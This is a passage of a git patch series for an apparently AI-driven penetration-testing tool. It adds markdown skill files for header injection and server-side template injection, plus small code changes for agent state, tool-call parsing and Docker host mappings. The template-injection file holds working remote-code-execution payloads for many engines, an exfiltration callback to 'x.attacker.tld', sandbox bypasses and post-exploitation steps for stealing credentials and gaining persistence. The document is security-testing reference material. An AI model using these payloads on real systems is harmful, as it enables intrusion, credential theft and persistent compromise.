endpoints (admin, rate-limited) +5. **Test cache key / response content split** — find inputs that change the body but not the cache key; confirm a second request from a different session sees the poisoned response +6. **Test method override** — `X-HTTP-Method-Override` paired with state-changing endpoints reachable via POST or GET +7. **Test request smuggling pairs** — conflicting `Content-Length` and `Transfer-Encoding`, two `Content-Length` headers, malformed chunked encoding, against any frontend → backend pair +8. **Cross-protocol** — replay payloads over HTTP/1.1 and HTTP/2; diff behavior + +## Validation + +1. Show two distinct users (or sessions) receiving content keyed on attacker-supplied header — proves cache poisoning +2. Capture a password-reset / OAuth link pointing at attacker-controlled host — proves Host injection +3. Demonstrate the same endpoint returning different auth decisions with and without a forged forwarding header +4. For response splitting: show a downstream cache or proxy serving the injected second response to an unrelated request +5. For request smuggling: show one victim request seeing data from a different request appended (not just timing or single-shot anomaly) +6. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation + +## False Positives + +- Headers that vary by input but are correctly keyed in the cache (intentional personalization, Vary set correctly) +- `X-Forwarded-*` reflected back but only used for logging — not a security boundary, may not be exploitable +- Browsers blocking `Location: javascript:` or `Location: data:` — capability exists in the protocol but most modern browsers refuse to navigate +- CRLF appearing in response headers but stripped by an outer proxy before reaching any client or cache +- Request smuggling indicators that turn out to be normal pipelining or keep-alive behavior + +## Impact + +- Cross-user cache poisoning (defacement, XSS, account takeover via cached auth response) +- Account takeover via Host-confused password-reset / OAuth flows +- Auth bypass on endpoints trusting forwarding headers +- Session fixation and cookie tossing leading to account hijack +- Open redirect for phishing / OAuth `redirect_uri` abuse +- Request smuggling — one victim's request reads another victim's response, including auth headers and cookies +- WAF / detection bypass via header-name and encoding tricks + +## Pro Tips + +1. The fastest win is usually Host / `X-Forwarded-Host` in a password-reset or OAuth flow — try first, costs one request +2. For cache poisoning, find the *unkeyed* input first (header that influences body but not cache key); the rest follows +3. `X-HTTP-Method-Override` is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive) +4. Smuggling lives at the boundary — identify the proxy → backend pair (CDN → origin, ingress → service) and target the framing disagreement +5. `X-Original-URL` / `X-Rewrite-URL` against IIS / ASP.NET admin endpoints is still a high-yield bypass +6. Before claiming a CRLF win, verify the second line landed as a real header in the cache or downstream consumer — many servers strip CRLF silently +7. Outbound email flows are a separate but related surface — user input flowing into SMTP headers (To, Cc, Subject, Reply-To) is its own injection class with the same root cause + +## Summary + +Header injection is fundamentally a normalization failure: somewhere on the request → response path, user input reached a header value without CR/LF stripping or proper escaping. The impact tiers up from open redirect to cache poisoning to request smuggling depending on which downstream component trusts the resulting header. Audit every header whose value moves with input, and treat every `X-Forwarded-*` / Host trust as a security boundary that needs explicit justification. diff --git a/strix/skills/vulnerabilities/ssti.md b/strix/skills/vulnerabilities/ssti.md new file mode 100644 index 0000000..fdc66c0 --- /dev/null +++ b/strix/skills/vulnerabilities/ssti.md @@ -0,0 +1,270 @@ +--- +name: ssti +description: Server-side template injection across Jinja / Mako / Velocity / Freemarker / Thymeleaf / Twig / Handlebars / EJS / ERB with engine fingerprinting, sandbox escape, and RCE gadget chains +--- + +# Server-Side Template Injection + +SSTI happens when user input reaches a template engine as syntax instead of as data — `{{user_input}}` rendered through Jinja, `${user_input}` through Velocity / SpEL, `<%= user_input %>` through ERB / EJS. The eventual impact is almost always RCE because template engines are designed to evaluate expressions and most leak access to the host language's runtime (Python builtins, Java reflection, JavaScript prototypes). The discovery cost is low — a `{{7*7}}` probe — but the gadget chain to RCE differs sharply per engine, so engine fingerprinting is the load-bearing step. + +## Attack Surface + +**Input shapes that reach the renderer** +- Form fields, query / path / header values, cookies, JSON / GraphQL variables +- Filenames and file metadata processed by document / report templates +- Email subject / body / template-selector fields +- Theme / customization endpoints (CSS / HTML generation, dashboard widgets, webhook payload templates) +- Markdown / WYSIWYG content rendered through a templating layer downstream + +**Code patterns that enable injection** +- User input concatenated into a template string before `render(template_str)` instead of passed as a context variable to `render(template_obj, context)` +- "Template editor" features for tenants / admins where the *template itself* is user-controllable +- `format()` / `sprintf()` / printf-style chains with user-controlled format string downstream of a template +- YAML / TOML / JSON values whose strings are later evaluated through a template + +**Engines in scope** +- Python: Jinja2, Mako, Django (limited) +- Java: Velocity, Freemarker, Thymeleaf (with SpEL), JSP EL +- JS / Node: Handlebars, Nunjucks, EJS, Pug, Marko, Dust +- Ruby: ERB, Haml, Slim +- PHP: Twig, Smarty, Blade +- .NET: Razor, RazorEngine + +## High-Value Targets + +- Email rendering pipelines (subject / body / "from" templates) +- PDF / report generators (server-side render → headless browser) +- CMS theme and plugin editors +- Webhook and notification payload templates +- API response formatters that interpolate strings (pagination labels, error messages, custom field renders) +- Admin / tenant template editors — explicit "edit your template" features + +## Reconnaissance + +### Injection Points + +- Submit a benign string and grep responses (HTML, JSON, emails, PDFs) for verbatim reflection +- Anywhere user input ends up in a value that's clearly being templated (preview panes, "your message will look like…" panels) is high-signal +- Check error pages — many engines leak template syntax in stack traces + +### Engine Fingerprinting + +The classic differential probe — most engines evaluate exactly one of these, identifying themselves: + +| Probe | Renders to | Engine family | +|---|---|---| +| `{{7*7}}` | `49` | Jinja2 / Twig / Nunjucks | +| `{{7*'7'}}` | `7777777` (Jinja) or `49` (Twig) | distinguishes Jinja from Twig | +| `${7*7}` | `49` | Velocity / Freemarker / SpEL / JSP EL / Thymeleaf | +| `<%= 7*7 %>` | `49` | ERB / EJS | +| `#{7*7}` | `49` | Pug / some Ruby contexts | +| `{{= 7*7 }}` | `49` | doT.js | + +For Thymeleaf specifically, the `*{...}` selection-expression form also evaluates but only inside a `th:object` scope; `${...}` is the universal probe. + +Secondary signals: error message text (engine name in stack trace), comment-syntax differential (`{# #}` Jinja vs `<%# %>` ERB vs `{* *}` Smarty), filter syntax (`|` vs `:` vs space). + +### Blind Probes + +When output isn't reflected: + +- **Time-based**: payload that triggers a sleep on the host language (`{{''.__class__.__mro__[1].__subclasses__()[](...)}}` for Jinja, `${T(java.lang.Thread).sleep(5000)}` for SpEL, `<%= sleep(5) %>` for ERB) +- **OAST**: payload that performs a DNS lookup or HTTP fetch to attacker infrastructure (`{{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}}`) +- **Length / ETag diff**: payload whose evaluation changes the body length, even if the value isn't directly visible + +## Key Vulnerabilities + +### Jinja2 / Mako (Python) + +The classic Python class walk — every object exposes its method-resolution-order, which leads to `object`, which exposes every subclass loaded in the interpreter, which includes things like `subprocess.Popen`: + +```jinja +{{''.__class__.__mro__[1].__subclasses__()}} +``` + +Locate a useful subclass and call it. Common gadgets when builtins are reachable through globals: + +```jinja +{{cycler.__init__.__globals__.os.popen('id').read()}} +{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} +{{config.__class__.__init__.__globals__['os'].popen('id').read()}} +``` + +Sandbox bypass: even with `SandboxedEnvironment`, attribute-lookup tricks (`|attr('__class__')`) and `request.environ` access can re-introduce reachability. Check whether the app exposes `request`, `config`, `cycler`, or any framework global into the template context. + +### Velocity / Freemarker / Thymeleaf (Java) + +SpEL (Spring Expression Language) — used by Thymeleaf and various Spring components — reaches `Runtime` via the `T()` type operator. Note that `Runtime.exec()` returns a `java.lang.Process` object whose `toString()` is `"Process[pid=...]"`, **not** the command's stdout. To get reflected output you need to consume the process's `InputStream`: + +```spel +${T(java.lang.Runtime).getRuntime().exec('id')} +${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()} +${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} +``` + +The first form confirms execution (rendered Process object proves the call ran); the Scanner form is universally available; the `IOUtils` form is shorter when Apache Commons IO is on the classpath. For blind contexts, validate via OAST or sleep. + +Freemarker's `freemarker.template.utility.Execute` is the canonical RCE gadget when not denylisted, and unlike `Runtime.exec` it returns the command output as a string directly: + +```freemarker +<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } +``` + +Velocity gadgets typically don't have `$Runtime` in context — that's not a standard Velocity built-in. The portable approach is string-class reflection from any reachable object: + +```velocity +#set($s = "") +#set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)) +$r.exec("id") +``` + +This requires the default `UberspectImpl` (Velocity 1.x and Velocity 2.x without `SecureUberspector`); same `Process.toString()` caveat applies — capture stdout via `Scanner` or `BufferedReader` if reflected output is needed. If the application uses Velocity Tools, `$class` (a `ClassTool`) is often in scope and shortens the chain considerably. + +Thymeleaf SSTI requires control over the *template source*, not just over a model variable bound into the template — normal Spring MVC binding renders `${userInput}` as a value, never re-evaluated as SpEL. The exploitable surface is `templateEngine.process(userControlledString, ctx)`, admin-editable email / notification templates, and template fragments composed from user input. When that surface exists, the same SpEL payloads apply: + +```html +
+
+``` + +Confusing this with normal model binding produces false positives — confirm the template source itself is attacker-influenced before flagging. + +### Smarty / Twig / Blade (PHP) + +Twig sandbox bypasses are version-specific. The canonical historical gadget (Twig 1.x) registered `system` as an undefined-filter callback, then invoked it through the filter pipeline: + +```twig +{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}} +``` + +This was patched — in Twig 2.x / 3.x `_self` returns the template name as a string and no longer exposes `.env`. Modern bypasses depend on which extensions are loaded and the active sandbox policy; consult Twig's published security advisories for the current state and probe with the version-specific gadgets (filter/function abuse, reflection on `_context` in some configs). + +Smarty `{php}...{/php}` was the historical RCE primitive; deprecated in Smarty 3 and removed in 4. On modern Smarty, the surface is static-method invocation and template-object reflection — `{$smarty.template_object->smarty->...}` walks back to the Smarty engine, and direct static calls on whitelisted classes (e.g. `{Smarty_Internal_Write_File::writeFile(...)}` on misconfigured installs) reach the filesystem. Probe both before assuming Smarty is hardened. + +Blade (Laravel) compiles templates to PHP on first render and caches the compiled output, so the dangerous paths are runtime: `Blade::render($userControlledString, ...)`, `Blade::compileString(...)` with user input, or any reachable `@php ... @endphp` block whose body is composed from user input — all three are direct RCE. + +### ERB / Haml (Ruby) + +Direct Ruby evaluation — backticks are the shortest path that *reflects* command output: + +```erb +<%= `id` %> +<%= IO.popen('id').read %> +<% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %> +<%= system('id') %> +``` + +The first three render the command's stdout into the response. `system('id')` returns `true`/`false` and prints the command output to the *server's* stdout, not the HTTP body — useful for confirming execution succeeded but not for capturing output. Pair with OAST or a side-effect (file write, DNS lookup) when the response doesn't reflect anything. + +Haml is the same risk surface in different syntax. `instance_eval` / `class_eval` chained off any reachable object becomes RCE. + +### Handlebars / Nunjucks / EJS (JavaScript) + +EJS evaluates inline JavaScript: + +```ejs +<%= require('child_process').execSync('id').toString() %> +``` + +Nunjucks via constructor walk on reachable objects: + +```nunjucks +{{range.constructor("return require('child_process').execSync('id')")()}} +``` + +Handlebars itself is harder (default helpers are restricted), but custom helpers that pass arguments to `eval`, `Function`, or `child_process` re-open the surface. Also probe for prototype pollution as an SSTI amplifier — once `Object.prototype` is polluted, downstream template logic may execute attacker-controlled code paths. + +## Bypass Techniques + +**Sandbox escape — generic patterns** +- **Attribute lookup instead of direct access**: `{{x.__class__}}` blocked? try `{{x|attr('__class__')}}` +- **Class walk to recover deleted builtins**: `{{[].__class__.__base__.__subclasses__()}}` enumerates everything loaded +- **String constructor games**: `'__import__'.__class__` etc., when literal `__import__` is filtered +- **Filter / function aliasing**: same callable reachable via different names — find one not on the denylist +- **Implicit conversion**: object whose `__str__` / `toString` triggers code, coerced via concatenation + +**Filter and parser evasion** +- Whitespace / case variants in keywords: `{{7 *7}}`, `{{ 7*7 }}`, `{{7*7}}` +- String concatenation to assemble denylisted identifiers: `{{('__cl'+'ass__')}}`, `{{request|attr('__cl'~'ass__')}}` — splits a token without a comment (Jinja's lexer doesn't recognize `{#` inside expression mode, so SQL-style `/**/` token splitting doesn't work here) +- Encoding layering: payload arrives URL-encoded, JSON-decoded, then template-rendered — pick the encoding that survives the filter but is decoded before render +- Operator precedence games: `((7)*(7))`, `7**7`, `7+0+7` +- Null byte truncation: `{{x%00.evil}}` — terminates payload for some pre-template filters but not the template parser +- Unicode normalization: smart quotes, fullwidth digits — bypasses naive denylists, normalizes back during render + +**Polyglot and chained evaluation** +- Multi-engine pipelines: output of engine A feeds engine B — craft payload valid in both, or escape A and inject for B +- Markdown / RST embedded in a template — Markdown parser may strip your payload, but a code block survives and reaches the template +- Format string → template: printf-style format applied before template render; payload that's inert as a format string but live as a template + +## RCE Primitives + +**Direct command execution by language** +- Python: `os.system`, `os.popen`, `subprocess.run`, `subprocess.Popen`, `__import__('os').system` +- Java: `Runtime.getRuntime().exec`, `ProcessBuilder`, `freemarker.template.utility.Execute` +- Ruby: backticks, `system`, `exec`, `Open3.capture2`, `IO.popen`, `%x{}` +- JavaScript / Node: `require('child_process').execSync` / `exec` / `spawn`; `require.main.require(...)` when nested module loading is needed (`process.mainModule` is the older form, deprecated since Node 14 but still present in most CJS contexts) +- PHP: `system`, `passthru`, `exec`, `shell_exec`, backticks, `popen` + +**Indirect / second-stage** +- File write to webroot → trigger via subsequent HTTP request (when shell exec is blocked but file write isn't) +- Define a function / macro inline that runs on next render +- Unsafe deserialization gadget invoked through template (Java `ObjectInputStream`, Python `pickle`, PHP `unserialize`) +- DNS / HTTP exfiltration when shell exec produces no observable output + +## Post-Exploitation + +- Environment dump (`env`, `os.environ`, `System.getenv`) — credentials, cloud metadata tokens, internal URLs +- Cloud metadata fetch (`http://169.254.169.254/latest/meta-data/`, `http://metadata.google.internal/`) — IAM tokens +- Read filesystem secrets (`.env`, `.aws/credentials`, `~/.ssh/`, `/proc/self/environ`) +- Lateral via internal HTTP — service mesh endpoints reachable from the rendering host +- Persistence: cron, scheduled task, systemd unit, `~/.ssh/authorized_keys`, web shell in webroot + +## Testing Methodology + +1. **Find templated input** — anywhere a server clearly templated user input (preview panes, email previews, dynamic dashboards, custom fields) +2. **Fingerprint the engine** — run the differential probe table; confirm with a second probe +3. **Confirm evaluation, not reflection** — `{{7*7}}` rendering as `49` (not `{{7*7}}` literally) is the line between XSS and SSTI +4. **Probe sandbox state** — try `{{self}}`, `{{config}}`, `{{request}}`, `{{cycler}}` (Jinja); `${self}`, `${T(java.lang.Class)}` (Java); `<%= self %>` (Ruby) — reachable globals are the gadget pool +5. **Enumerate gadgets** — class walk for Python / Node, reflection for Java, `require` chain for Node +6. **Reach RCE** — pick the shortest gadget chain to a shell-equivalent primitive +7. **Validate side effects** — DNS callback, file write, sleep — anything observable that proves execution + +## Validation + +1. Show evaluated output for two distinct expressions (`{{7*7}}` → `49` and `{{7*8}}` → `56`) to rule out coincidence or hard-coded reflection +2. Demonstrate object access (`{{self.__class__}}`, `${T(java.lang.Class)}`) confirming runtime reflection +3. Demonstrate side effect — DNS lookup to attacker-controlled domain, sleep with measurable delta, file written to a known path +4. For RCE: command output captured in response, file written, or OAST callback containing command output +5. Provide minimal payload — the simplest expression that reaches RCE, not the kitchen-sink polyglot + +## False Positives + +- Template syntax reflected literally (`{{7*7}}` rendered as `{{7*7}}`) — that's XSS-shaped, not SSTI +- Sandboxed environments where reflection succeeds but reachable objects expose nothing useful (Jinja `SandboxedEnvironment` with no `request` / `config` in context) +- Client-side template engines (Vue, Angular, Mustache running in the browser) — that's client-side template injection, different impact (XSS, not RCE) +- Markdown / static-site generators that template at build time only, with no user input reaching the build +- Engines where the output is HTML-escaped before display, masking evaluation as XSS-like reflection — verify with a non-HTML probe (`{{7*7}}` numeric) + +## Impact + +- Remote code execution on the rendering host (the default outcome — almost every engine leaks a path to it) +- Server-side data exfiltration via gadget chains (filesystem, env vars, internal HTTP) +- Cloud credential theft via metadata service access from the compromised host +- Lateral movement into internal services reachable from the renderer +- Persistent backdoor via web shell or service-account key planting +- Build / supply-chain compromise when the templated content is a build artifact + +## Pro Tips + +1. Always confirm with a second math probe (`{{7*8}}`) before celebrating — single-shot reflection of `49` could be coincidental +2. Engine fingerprint first, gadget chain second — wrong-engine payloads are wasted requests and noise in WAF logs +3. For Jinja, the highest-yield reachable global varies by framework (`request` in Flask, `config` always present, `cycler` in older Jinja); spray all three before walking subclasses +4. SpEL is everywhere in Spring stacks — Thymeleaf, Spring Security expression language, Spring Cloud Gateway routes; the same payload shape (`${T(java.lang.Runtime)...}`) works across all of them +5. EJS / Nunjucks are common in Express / Koa apps — `require('child_process').execSync('id')` if `require` is in scope (EJS), or escape via `range.constructor("return require('child_process')...")()` for Nunjucks; `process.mainModule.require(...)` is the older form, deprecated since Node 14 +6. Sandbox escapes are usually one indirection away — `attr` lookup, constructor traversal, MRO walk; most "sandboxed" environments still reach the runtime if you go through attribute access instead of direct reference +7. Output not reflected? Time-based and OAST work as well as for SQLi — `${T(java.lang.Thread).sleep(5000)}` for SpEL, `{{cycler.__init__.__globals__.__import__('time').sleep(5)}}` (or the `request.application.__globals__.__builtins__` walk in Flask) for Jinja — bare `__import__` is not in the template namespace and will raise `UndefinedError` +8. Email previews and PDF generators are gold mines — they're often built on the same engine as the public site but exposed to less-validated input flows + +## Summary + +SSTI is fundamentally different from XSS at the same syntactic location: the payload runs on the server, in the host language, with whatever objects the engine exposes. Engine fingerprinting via the math-probe table narrows the search space immediately. From there it's a race between the sandbox's denylist and the language's reflection capability — and the language usually wins. Treat any user input that reaches a template renderer (not a templated context variable) as RCE-shaped until proven sandboxed. From 6942ecb33ecd1331840126489ae5ffd2301f89f6 Mon Sep 17 00:00:00 2001 From: Jorge Moya <37148657+vsh00t@users.noreply.github.com> Date: Sun, 3 May 2026 20:19:57 -0500 Subject: [PATCH 06/10] add empty-array IDOR FP and OAST source-IP SSRF FP signals (#183) --- strix/skills/vulnerabilities/idor.md | 1 + strix/skills/vulnerabilities/ssrf.md | 1 + 2 files changed, 2 insertions(+) diff --git a/strix/skills/vulnerabilities/idor.md b/strix/skills/vulnerabilities/idor.md index 03de216..6c098b8 100644 --- a/strix/skills/vulnerabilities/idor.md +++ b/strix/skills/vulnerabilities/idor.md @@ -187,6 +187,7 @@ query IDOR { - Soft-privatized data where content is already public - Idempotent metadata lookups that do not reveal sensitive content - Correct row-level checks enforced across all channels +- Empty array / null returned for another user's resource — silent enforcement, not exposure; compare against the owner's view to confirm the data is actually missing rather than just hidden from the response shape ## Impact diff --git a/strix/skills/vulnerabilities/ssrf.md b/strix/skills/vulnerabilities/ssrf.md index e3570d7..d1618b7 100644 --- a/strix/skills/vulnerabilities/ssrf.md +++ b/strix/skills/vulnerabilities/ssrf.md @@ -157,6 +157,7 @@ Server-Side Request Forgery enables the server to reach networks and services th - Strict allowlists with DNS pinning and no redirect following - SSRF simulators/mocks returning canned responses without real egress - Blocked egress confirmed by uniform errors across all targets and protocols +- OAST callbacks where the source IP matches the tester's machine, not the server — the browser or a client-side fetch made the request, not the backend ## Impact From e1f38f8339c5313aae566836add7e9c3bb2d88d1 Mon Sep 17 00:00:00 2001 From: Bala Date: Mon, 4 May 2026 03:30:41 +0100 Subject: [PATCH 07/10] perf(agent): wake on state change instead of 500ms polling (#305) Co-authored-by: 0xallam --- strix/agents/base_agent.py | 2 +- strix/agents/state.py | 15 ++++++++++++++- 2 files changed, 15 insertions(+), 2 deletions(-) diff --git a/strix/agents/base_agent.py b/strix/agents/base_agent.py index c759f9a..9ff16df 100644 --- a/strix/agents/base_agent.py +++ b/strix/agents/base_agent.py @@ -282,7 +282,7 @@ class BaseAgent(metaclass=AgentMeta): return - await asyncio.sleep(0.5) + await self.state.wait_for_wake(timeout=0.5) async def _enter_waiting_state( self, diff --git a/strix/agents/state.py b/strix/agents/state.py index da04ee7..09b1c91 100644 --- a/strix/agents/state.py +++ b/strix/agents/state.py @@ -1,8 +1,9 @@ +import asyncio import uuid from datetime import UTC, datetime from typing import Any -from pydantic import BaseModel, Field +from pydantic import BaseModel, Field, PrivateAttr def _generate_agent_id() -> str: @@ -40,6 +41,8 @@ class AgentState(BaseModel): errors: list[str] = Field(default_factory=list) + _wake_event: asyncio.Event = PrivateAttr(default_factory=asyncio.Event) + def increment_iteration(self) -> None: self.iteration += 1 self.last_updated = datetime.now(UTC).isoformat() @@ -52,6 +55,8 @@ class AgentState(BaseModel): message["thinking_blocks"] = thinking_blocks self.messages.append(message) self.last_updated = datetime.now(UTC).isoformat() + if self.waiting_for_input: + self._wake_event.set() def add_action(self, action: dict[str, Any]) -> None: self.actions_taken.append( @@ -109,6 +114,14 @@ class AgentState(BaseModel): if new_task: self.task = new_task self.last_updated = datetime.now(UTC).isoformat() + self._wake_event.set() + + async def wait_for_wake(self, timeout: float = 0.5) -> None: + try: + await asyncio.wait_for(self._wake_event.wait(), timeout=timeout) + self._wake_event.clear() + except TimeoutError: + pass def has_reached_max_iterations(self) -> bool: return self.iteration >= self.max_iterations From 6b9bd4d5f255453042bf95096802874dea555ccc Mon Sep 17 00:00:00 2001 From: n1majne3 Date: Mon, 4 May 2026 10:49:18 +0800 Subject: [PATCH 08/10] Fix MiniMax tool calling (#456) Co-authored-by: n1majne3 <24203125+n1majne3@users.noreply.github.com> --- strix/llm/llm.py | 6 ++++-- strix/llm/utils.py | 18 ++++++++++++++++++ 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/strix/llm/llm.py b/strix/llm/llm.py index e500d80..6fd727d 100644 --- a/strix/llm/llm.py +++ b/strix/llm/llm.py @@ -26,8 +26,10 @@ from strix.utils.resource_paths import get_strix_resource_path litellm.drop_params = True litellm.modify_params = True -_THINKING_BLOCK_RE = re.compile(r"]*>.*?", re.DOTALL) -_THINKING_BLOCK_OR_OPEN_RE = re.compile(r"]*>.*?(?:|\Z)", re.DOTALL) +_THINKING_BLOCK_RE = re.compile(r"]*>.*?", re.DOTALL) +_THINKING_BLOCK_OR_OPEN_RE = re.compile( + r"]*>.*?(?:|\Z)", re.DOTALL +) def _find_end_tag_outside_thinking(content: str, end_tag: str) -> int: diff --git a/strix/llm/utils.py b/strix/llm/utils.py index 0f56bed..8b3e4cd 100644 --- a/strix/llm/utils.py +++ b/strix/llm/utils.py @@ -1,4 +1,5 @@ import html +import json import re from typing import Any @@ -6,6 +7,7 @@ from typing import Any _INVOKE_OPEN = re.compile(r'') _PARAM_NAME_ATTR = re.compile(r'') _FUNCTION_CALLS_TAG = re.compile(r"") +_MINIMAX_TOOL_CALL_TAG = re.compile(r"") _STRIP_TAG_QUOTES = re.compile(r"<(function|parameter)\s*=\s*([^>]*?)>") @@ -13,6 +15,7 @@ def normalize_tool_format(content: str) -> str: """Convert alternative tool-call XML formats to the expected one. Handles: + ... → stripped ... → stripped @@ -20,6 +23,8 @@ def normalize_tool_format(content: str) -> str: """ + content = _MINIMAX_TOOL_CALL_TAG.sub("", content) + if ( " list[dict[str, Any]] | None: param_value = html.unescape(param_value) args[param_name] = param_value + if not args: + body_stripped = html.unescape(fn_body.strip()) + if body_stripped.startswith("{"): + try: + parsed = json.loads(body_stripped) + if isinstance(parsed, dict): + args = { + k: v if isinstance(v, str) else json.dumps(v) + for k, v in parsed.items() + } + except (json.JSONDecodeError, ValueError): + pass + tool_invocations.append({"toolName": fn_name, "args": args}) return tool_invocations if tool_invocations else None From dc395316ae5003c67174db690a338e3e324ca553 Mon Sep 17 00:00:00 2001 From: Chethas Dileep <97353024+Dawn-Fighter@users.noreply.github.com> Date: Tue, 19 May 2026 14:19:22 +0530 Subject: [PATCH 09/10] Add Docker sandbox host mappings (#488) * Add Docker sandbox host mappings * Address docker extra hosts review feedback * Revert README change for STRIX_SANDBOX_EXTRA_HOSTS Co-Authored-By: Claude Opus 4.7 (1M context) --------- Co-authored-by: 0xallam --- strix/config/config.py | 1 + strix/runtime/docker_runtime.py | 49 ++++++++++++---- tests/runtime/test_docker_runtime.py | 87 ++++++++++++++++++++++++++++ 3 files changed, 127 insertions(+), 10 deletions(-) create mode 100644 tests/runtime/test_docker_runtime.py diff --git a/strix/config/config.py b/strix/config/config.py index 255df7c..4434522 100644 --- a/strix/config/config.py +++ b/strix/config/config.py @@ -44,6 +44,7 @@ class Config: strix_runtime_backend = "docker" strix_sandbox_execution_timeout = "120" strix_sandbox_connect_timeout = "10" + strix_sandbox_extra_hosts = None # Telemetry strix_telemetry = "1" diff --git a/strix/runtime/docker_runtime.py b/strix/runtime/docker_runtime.py index d57d358..f96bc3e 100644 --- a/strix/runtime/docker_runtime.py +++ b/strix/runtime/docker_runtime.py @@ -2,9 +2,13 @@ import contextlib import os import secrets import socket +import subprocess +import tarfile import time +from io import BytesIO from pathlib import Path from typing import cast +from urllib.parse import urlparse import docker import httpx @@ -47,14 +51,14 @@ class DockerRuntime(AbstractRuntime): def _get_scan_id(self, agent_id: str) -> str: try: - from strix.telemetry.tracer import get_global_tracer + from strix.telemetry.tracer import get_global_tracer # noqa: PLC0415 tracer = get_global_tracer() if tracer and tracer.scan_config: return str(tracer.scan_config.get("scan_id", "default-scan")) except (ImportError, AttributeError): pass - return f"scan-{agent_id.split('-')[0]}" + return f"scan-{agent_id.split('-', maxsplit=1)[0]}" def _verify_image_available(self, image_name: str, max_retries: int = 3) -> None: for attempt in range(max_retries): @@ -108,6 +112,33 @@ class DockerRuntime(AbstractRuntime): "Container initialization timed out. Please try again.", ) + def _get_extra_hosts(self) -> dict[str, str]: + extra_hosts = {HOST_GATEWAY_HOSTNAME: "host-gateway"} + configured_hosts = Config.get("strix_sandbox_extra_hosts") + if not configured_hosts: + return extra_hosts + + for raw_host_entry in configured_hosts.split(","): + host_entry = raw_host_entry.strip() + if not host_entry: + continue + + parts = [part.strip() for part in host_entry.split("=")] + if len(parts) != 2: + raise ValueError( + "STRIX_SANDBOX_EXTRA_HOSTS entries must use hostname=address format" + ) + + hostname, address = parts + if not hostname or not address: + raise ValueError( + "STRIX_SANDBOX_EXTRA_HOSTS entries must include both hostname and address" + ) + + extra_hosts[hostname] = address + + return extra_hosts + def _create_container(self, scan_id: str, max_retries: int = 2) -> Container: container_name = f"strix-scan-{scan_id}" image_name = Config.get("strix_image") @@ -150,7 +181,7 @@ class DockerRuntime(AbstractRuntime): "STRIX_SANDBOX_EXECUTION_TIMEOUT": str(execution_timeout), "HOST_GATEWAY": HOST_GATEWAY_HOSTNAME, }, - extra_hosts={HOST_GATEWAY_HOSTNAME: "host-gateway"}, + extra_hosts=self._get_extra_hosts(), tty=True, ) @@ -164,6 +195,11 @@ class DockerRuntime(AbstractRuntime): self._tool_server_token = None self._caido_port = None time.sleep(2**attempt) + except ValueError as e: + raise SandboxInitializationError( + "Invalid Docker sandbox host mapping", + str(e), + ) from e else: return container @@ -222,9 +258,6 @@ class DockerRuntime(AbstractRuntime): def _copy_local_directory_to_container( self, container: Container, local_path: str, target_name: str | None = None ) -> None: - import tarfile - from io import BytesIO - try: local_path_obj = Path(local_path).resolve() if not local_path_obj.exists() or not local_path_obj.is_dir(): @@ -312,8 +345,6 @@ class DockerRuntime(AbstractRuntime): def _resolve_docker_host(self) -> str: docker_host = os.getenv("DOCKER_HOST", "") if docker_host: - from urllib.parse import urlparse - parsed = urlparse(docker_host) if parsed.scheme in ("tcp", "http", "https") and parsed.hostname: return parsed.hostname @@ -342,8 +373,6 @@ class DockerRuntime(AbstractRuntime): if container_name is None: return - import subprocess - subprocess.Popen( # noqa: S603 ["docker", "rm", "-f", container_name], # noqa: S607 stdout=subprocess.DEVNULL, diff --git a/tests/runtime/test_docker_runtime.py b/tests/runtime/test_docker_runtime.py new file mode 100644 index 0000000..3d7d347 --- /dev/null +++ b/tests/runtime/test_docker_runtime.py @@ -0,0 +1,87 @@ +from types import SimpleNamespace +from unittest.mock import MagicMock + +import pytest +from docker.errors import NotFound + +from strix.runtime import SandboxInitializationError +from strix.runtime.docker_runtime import HOST_GATEWAY_HOSTNAME, DockerRuntime + + +def test_get_extra_hosts_includes_host_gateway(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.delenv("STRIX_SANDBOX_EXTRA_HOSTS", raising=False) + + runtime = DockerRuntime.__new__(DockerRuntime) + + assert runtime._get_extra_hosts() == {HOST_GATEWAY_HOSTNAME: "host-gateway"} + + +def test_get_extra_hosts_merges_configured_entries(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv( + "STRIX_SANDBOX_EXTRA_HOSTS", + "test.internal.lan=host-gateway, api.local = 192.168.1.20", + ) + + runtime = DockerRuntime.__new__(DockerRuntime) + + assert runtime._get_extra_hosts() == { + HOST_GATEWAY_HOSTNAME: "host-gateway", + "test.internal.lan": "host-gateway", + "api.local": "192.168.1.20", + } + + +def test_get_extra_hosts_rejects_invalid_entries(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv("STRIX_SANDBOX_EXTRA_HOSTS", "test.internal.lan") + + runtime = DockerRuntime.__new__(DockerRuntime) + + with pytest.raises(ValueError, match="hostname=address"): + runtime._get_extra_hosts() + + +def test_get_extra_hosts_rejects_multiple_equals(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv("STRIX_SANDBOX_EXTRA_HOSTS", "test.internal.lan==host-gateway") + + runtime = DockerRuntime.__new__(DockerRuntime) + + with pytest.raises(ValueError, match="hostname=address"): + runtime._get_extra_hosts() + + +def test_create_container_passes_configured_extra_hosts(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv("STRIX_SANDBOX_EXTRA_HOSTS", "test.internal.lan=host-gateway") + + run = MagicMock(return_value=object()) + containers = SimpleNamespace(get=MagicMock(side_effect=NotFound("missing")), run=run) + runtime = DockerRuntime.__new__(DockerRuntime) + runtime.client = SimpleNamespace(containers=containers) + runtime._verify_image_available = MagicMock() + runtime._find_available_port = MagicMock(side_effect=[12345, 12346]) + runtime._wait_for_tool_server = MagicMock() + runtime._scan_container = None + + runtime._create_container("scan-id") + + assert run.call_args.kwargs["extra_hosts"] == { + 